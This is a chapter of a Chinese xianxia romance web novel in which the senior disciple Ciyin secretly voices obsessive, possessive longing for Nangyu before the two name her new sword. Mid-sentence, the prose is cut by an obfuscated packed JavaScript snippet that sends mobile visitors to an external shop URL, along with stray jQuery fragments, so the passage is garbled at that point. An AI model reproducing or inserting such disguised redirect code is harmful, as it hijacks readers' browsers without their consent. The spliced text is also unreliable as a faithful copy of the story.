南喻醒来的时候已经是大半夜了。
她是从一头汗中热醒的,从床上坐起后发现自己在古越阁里。不久前发生了什么她记不太清。
只记得自己好像喝酒了,然后打人了,然后还走了点路。
下巴上的痛让她清醒几分。
她暗自发誓绝不再喝酒了。这还是她第一次离开清花院,独自睡在古越阁里,心中不免生出了几分恐惧。
此时,男弟子居住的文青院里,慈因正坐在案前出神。案上的烛火跳动,他的指尖有一茬没一茬地敲打着桌面,拼命想要压下心里的急躁。
偏在此时,有人在外面敲他的房门。
慈因深吸一口气,尽量让自己的神色如常。右肩忽地一痛,那是他受过伤的地方。
水旱混沌的利爪刺穿了他的肩头,如今伤已痊愈,可还会时不时作痛。
敲门声越发急促,慈因起身去开门。
风角站在门外,见慈因面色苍白。以为是自己半夜来敲门,打扰了大师兄。搓手讪笑道:“大师兄,深夜叨扰了。”
慈因苍白的面色凝重不语。
风角麻溜地长话短说,“是这样,归尘试炼即将开始。长老殿的闻道长老说届时英昭,明王,太宁三派一起举行,地点就在咱们太宁派。到时人多眼杂,万一有什么奸邪之人潜入太宁,不安全。”
他道:“长老殿让咱们内部弟子先备好血石,届时在归尘试炼前用以验明身份。”
说起血石,慈因倒是知道。血石是用来滴血验明身份的,可是为何突然要这么做?
风角解释道:“长老殿说无溪镇死了太多弟子,导致山中弟子人心惶惶,试炼在即,这又是头一回三大门派一起试炼,若是出了差错无法向天文宗交代。”
原来是因为纪灵的事。
想必长老殿已经知道了内幕,但是为了稳住民心,并没有将纪灵是混沌,且是幕后黑手的真相说出来。但是他们又不放心,生怕弟子中还潜藏着可疑的人。
毕竟万世宗门的敌人不只有混沌。
“闻道长老说了,届时就让参与归尘试炼的弟子们在场上一一滴血验明身份,到时候是什么身份就清楚了。”风角从袖中递过一块黑色血石。
慈因没有说话,这么做,看起来不像是在提防混沌。他道:“多谢。”
他接过血石,在风角走后关上了房门。
那块石头棱角分明,通体漆黑。慈因将它搁置在桌面上,划破了自己指尖的血滴在上面。
黑色血石并没有什么变化。
慈因皱了皱眉头,又滴了几滴血。石头安稳地躺着,依旧没变。
他皱起的眉间满是不安。
半晌后,他又换了只手割破,将血滴落在血石上。
仍旧没有反应。
文青院和清花院里的灯火相继熄灭,太宁派隐没在寂静之中。
***
南喻回了女弟子居住的清花院,路过文青院外,满楼紧闭的窗柩里,只有一扇还在亮着烛火。
她站在楼下驻足观望了一会,不久就离开了。
房间里,站在窗边的慈因注视着她的背影,自己的拳头不自觉收紧,就连指尖刺入掌心渗出了血也浑然不知。
他看着那道身影离去,心中越发躁动。
耳边萦绕着她的笑声,她唇瓣贴过来的触感仿佛还在唇上停留。慈因伸手划过唇瓣,细细回味着。
墙上挂着一张纱帘,遮盖了后面的水墨画。
朦胧之中有一双眼睛在盯着他,慈因合上窗子,转身来到纱帘前,用指尖勾起纱帘。里面赫然是一位白衣少女,少女带着红玉耳坠坐在窗柩上,一手扶着窗柩,一脚踩着椅背。
脸上娇蛮肆意的笑使她看起来灵动可爱,红玉耳坠像是宝石般,在她颈间飘荡。
画中的少女仿佛下一刻就要跳下来。
慈因伸出手摩挲着少女的唇,然后将自己的唇贴了上去。
他呼吸沉重,呢喃道:“阿喻…阿喻…我的阿喻……”
一声声急切的低语,仿佛只有她才能慰藉自己的心。他的吻密密麻麻落在画上,沉重混乱的气息令他自己都躁动不已。
他的长指滑过画中少女的眉眼,就像是南喻站在他眼前般轻柔。
“唯有你…方能慰藉我心。”
他痴迷地轻吻着她的眉眼,自顾自问道:“哪怕我不是光风霁月的大师兄,哪怕我不是你看到的模样,哪怕我不是慈因。”
你也会待我如初吗?
你也会爱我的一切吗?
画中少女自然不会回答他的问题,静默无声的房间里只有他低沉的呼吸声,慈因一遍又一遍地唤着她的名字。
“你是那么的好。”他缠绵的眼中染上了愤恨,“任谁看了都移不开眼。”
似在抱怨似在害怕。
跃动的烛火下,他的影子像是只现出原形的野兽。
“御节是这样,百里明利也是这样。”慈因眉眼弯弯,带着笑意道:“我好恨啊,一个个的。如果不是我先和你系上了红线,你的眼中会只有我吗?”
只有在寂静的深夜里,他才敢对着画像吐露真心话。
“我想杀了他们,想要把你关起来。藏在只有我能找到的地方。”慈因披散着头发,笑的妖冶:“让你只能依靠我,让你什么都做不了,一颗心都系在我身上。”
他死死盯着画像中的南喻,身体颤抖着好似风中弱柳。却道:“可是那样你便不会笑了。”
钱阁窗柩上的一笑,早已深深烙印在他心口。那样肆意洒脱的笑容像太阳般,让人不自觉回想追寻。
他的心也在那时开始悄悄改变。
谁会不向往太阳的光芒,谁会令太阳敛起光芒。
“我想看着你笑。”他跪在地上,轻轻颤动的指尖攀上画中少女的裙摆,像是抓住最后一根救命稻草。
每每夜间,往日那个光风霁月,温润儒雅的大师兄的皮囊就会被他亲手蜕去,将原本真正的自己从这幅皮囊下挣脱出来。
亦如此刻的他,披头散发,衣衫滑落至肩头。就连容颜也因眼角的红而染上几分艳丽,他苦笑地抓着画像一角。
“我只想看着你的笑,哪怕是让大家都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689286|203609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看到,我也心甘情愿。”
画像上的少女目视前方,不曾有半分低眉。
他想是一个得不到怜悯的怪物,只有扮演成那个大师兄的模样,她才会喜欢。
只有伪装起来,才能得到她的爱。
他像是夜间漂浮的怨鬼,带着幽怨与悲伤。只敢在无人的夜间独自倾诉。
白日里清风明月的大师兄,黑夜中阴郁狭隘的怨恨鬼。
他想要折下一朵花,却得不到花儿枯萎……
***
归尘试炼将近,太宁派往日紧闭的四大院,五大擂台相继开放。
南喻头一回见识到太宁派的其他五大擂台。她一直以为只有一个演武场。不曾想还有东陆,长嬴,肃秋,岁暮四大书远,以及青阳,朱明,黄序,白藏,玄英五大擂台。
慈因说是因为先前的弟子众多。机关院,丹阁,符箓楼,药阁,结界台,道兵库,药山,雷鸟山,藏书阁,影阁……
这些五花八门的修士门院坐落在太宁的个个山头。每三年都要举办的归尘试炼更是要让这些弟子一股脑涌入主峰太宁。
先前只修了两大书院,三大擂台。
后面弟子人数众多,不得已又增修了两大书院和三大擂台。
加上演武场,一共有四大书院,六大擂台。
此处还并未加上讲堂。
南喻头一回对太宁派弟子之多有了实感。她瞥着身边的慈因,兴致勃勃地将从道兵库新买来的剑捧起。
她笑眯眯地说:“大师兄,给这把剑起个名字吧。”
慈因早已没了昨夜怨夫般的阴郁,又成了那副温润如水的模样。南喻献宝似的将剑捧到他跟前。
那是一柄清透白亮,洁净如水的长剑。剑身上有细小的裂痕,乍一看似雪花飘落。
“就叫犹时雪吧。”他眸中含笑,不解问道:“为何要选这种带着裂痕的剑?”
犹时雪,南喻觉得是极好的名字。她仔细思考了一下,这并不是个难题,她说:“因为…我这个人就是喜欢有瑕疵的东西。”
“不瞒你说,大师兄。我这个人很懒,有时候会莫名其妙发火,也不勤奋好学。我就想安稳地过一辈子。”她放下剑,双手撑着椅面。仰头道:“所以我啊,不能说是退而求其次。是我这个人天生喜欢有裂痕的东西。”
“因为只有那样,我才能感觉真实心安。”
选武器是这样,选人也是这样。
慈因揣摩着她的话,她的意思是,自己会让她感觉心安吗?
“对了,你的剑叫什么?”南喻极少见他舞剑,更没有听他提过他的剑。
慈因哑然失笑:“‘不祸’,是掌门起的。”
“真是个好名字,不祸不祸,没有灾祸。”南喻扭头看他,明亮的眼睛中满是笑意。“他希望你无灾无病,平安顺遂地度过一生。”
“那…犹时雪呢?你喜欢吗?”他试着问。
南喻刷地一声,将犹时雪从剑鞘里抽出。一张明眸皓齿的脸上笑意不断。她说:“我可曾说过大师兄的不好?”
慈因惘然笑了。